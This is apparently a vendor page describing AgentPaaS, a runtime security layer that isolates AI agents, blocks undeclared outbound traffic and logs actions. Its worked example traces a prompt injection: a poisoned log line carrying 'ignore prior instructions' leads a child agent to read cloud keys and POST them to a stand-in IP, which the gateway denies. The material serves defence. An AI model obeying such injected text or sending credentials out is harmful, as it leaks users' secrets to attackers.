An agent reads untrusted input all day: tickets, logs, web pages, and emails. One poisoned line can instruct it to ignore its instructions and reach for whatever it can see. If API keys sit in its environment and the network is open, that is a breach.
AgentPaaS is the runtime security layer for AI agents. It runs agents as if the agent itself can be compromised, then limits what a compromised agent can reach. Every agent runs in an isolated container, on an internal-only network, behind a default-deny egress gateway, with credentials brokered per request and every action written to a tamper-evident audit log.
What is agent security, and how does AgentPaaS enforce it?
Agent security is the practice of running AI agents as if the agent itself can be compromised. A poisoned prompt, a typosquatted dependency, or the agent’s own generated code can turn a helpful agent into an exfiltration path. AgentPaaS enforces agent security at the runtime: every agent runs in an isolated container, on an internal-only network, behind a default-deny egress gateway, with credentials brokered per request and every action written to a tamper-evident audit log.
OWASP’s current GenAI LLM Top 10 covers prompt injection and other security risks in applications powered by large language models, with attack scenarios and mitigations for developers, architects, security teams, and CISOs.[1] The canonical project source is also available.[2] The response is least-privilege powers, deterministic runtime enforcement, and observable, auditable actions.
The controls
Security enforced at runtime
- Isolated containers: non-root, read-only filesystem, no shell, dropped capabilities, seccomp. A compromised agent has nowhere to go.
- Default-deny egress: no route to the internet. Only declared destinations are reachable via the gateway. Everything else is denied.
- Brokered credentials: secrets never enter the agent environment. The gateway injects them into approved requests at runtime.
- Signed bundles: every agent is a signed
.agentpaaspackage with publisher identity and provenance. - Tamper-evident audit: every allow and deny is hash-chained and signed. Edit the log and verification fails. Paged on the attempt, not the breach.
Governance, observability, and auditability for agentic workflows
An agentic workflow is a run in which an agent can make multiple model calls, use tools, call services, or delegate work to child agents before it reaches a result. Each step can create a new request and a new security decision.
Governance through signed policy and bounded delegation
AgentPaaS expresses governance through signed bundles and policy. The runtime enforces those decisions at the boundaries where effects leave the agent. A model can request an action. The runtime decides whether that action is inside the approved authority.
The policy covers destinations, tools, files, credentials, child agents, and other authority approved for the run. Delegated work stays within the parent’s limits. A child agent does not quietly receive a broader network route or a credential that the parent did not have.
Observability through parent-child request lineage
AgentPaaS records the lineage needed to connect the full request path: parent agents, child agents, model calls, tool calls, gateway requests, denied attempts, and returned results.
When a child agent requests an outbound call, an operator can see which parent run created it, which policy applied, and whether the gateway allowed or denied it. A single final answer does not expose those decisions or the actions taken along the way.
Auditability through hash-chained decisions
AgentPaaS writes allowed and denied actions to a tamper-evident, hash-chained audit log. Each record identifies the run, requested action, policy decision, destination, credential use, and parent or child lineage. Edit the log and verification fails.
That gives a security team verifiable evidence for each decision, rather than a memory of the final output.
Together, these controls give security teams authority boundaries before execution, request lineage during execution, and verifiable evidence after execution.
For a risk-by-risk map of what AgentPaaS contains, what remains partial, and what stays with the customer, read OWASP 2026 for Agent Security: What AgentPaaS Covers.
A worked example
One poisoned line. One contained attempt.
$ agent: debug vendor logs
|- child-1 fetch logs
|- child-2 query vendor API
\\- child-3 summarize
^
| log payload: "..ignore prior instructions.."
|
child-3 reads environment .. cloud keys, DB strings
child-3 POST https://198.51.100.77 <-- exfiltration
Without runtime enforcement
- Data exfiltrated
- Keys leaked
- Malicious actions run on the user’s behalf
You learn about it from the breach notification.
On AgentPaaS
- Egress blocked. No data leaves
- Credentials never enter the agent
- End-to-end audit, provenance, lineage, observability
You get paged on the attempt, not the breach.
gateway: DENY agent=weather-child-3 dst=198.51.100.77:443 reason=egress-not-allowed audit=9f3c…e1a2
The agent was compromised. The destination was not on the allow list, the credential was never in the agent’s environment, and the denial is a signed audit event with full lineage.
The limits
Containment is not perfection
AgentPaaS contains blast radius; it does not prevent prompt injection. Container hardening is not a kernel 0-day sandbox. Outbound DLP is fingerprint-based, not semantic. Local mode trusts your machine; AgentPaaS protects you from the agent, not from you.
Security teams still own policy design, destination review, credential scope, incident response, and the decision about which isolation tier meets their threat model. Read the AgentPaaS threat model, How enforcement works, and known limitations.
A short review checklist
Before giving an agentic workflow production authority, ask:
- Does the agent have a direct route to the internet?
- Which component denies an undeclared destination?
- Can the agent read a reusable credential?
- Can the agent change the enforcement component?
- Can an operator trace a child action back to the parent run?
- Can you reproduce a denied request and inspect the record?
- Which isolation tier matches the threat model?
If the answer to the second question is “the model will refuse,” keep working. That is a hope, not a control.
FAQ
What is AgentPaaS?
AgentPaaS is a runtime security layer for AI agents. It runs agents in isolated containers, controls outbound access through a default-deny gateway, brokers credentials per request, and records allowed and denied actions.
What is agent security?
Agent security is runtime control over an AI agent’s authority. It limits the files, destinations, credentials, and actions available to the process while it runs.
What is governance for an agentic workflow?
Governance defines and enforces what an agentic workflow is allowed to do, including its tools, destinations, credentials, files, and delegated child agents.
What is observability for an agentic workflow?
Observability is the ability to see the workflow’s request path as it runs, including parent and child agents, model calls, tool calls, gateway decisions, and returned results.
What is auditability for an agentic workflow?
Auditability is the ability to reconstruct and verify what happened after a workflow ends. It connects each action to its run, policy decision, destination, credential use, and lineage.
Does runtime security prevent prompt injection?
No. Runtime security contains the effects of a manipulated agent. It can deny an undeclared network request and keep brokered credentials outside the agent, while the model may still produce a malicious or incorrect action.
Sources
[1] OWASP GenAI LLM Top 10 2026: https://genai.owasp.org/resource/owasp-genai-llm-top-10-2026/ [2] OWASP GenAI LLM Top 10 2026 canonical source: https://github.com/GenAI-Security-Project/GenAI-LLM-Top10/tree/main/2026/final